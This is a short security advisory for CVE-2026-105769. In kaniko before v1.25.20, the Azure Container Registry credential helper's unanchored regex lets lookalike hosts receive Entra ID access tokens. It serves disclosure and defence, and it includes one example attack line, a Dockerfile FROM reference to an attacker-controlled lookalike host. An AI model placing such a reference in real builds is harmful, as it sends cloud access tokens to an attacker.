CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.

The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.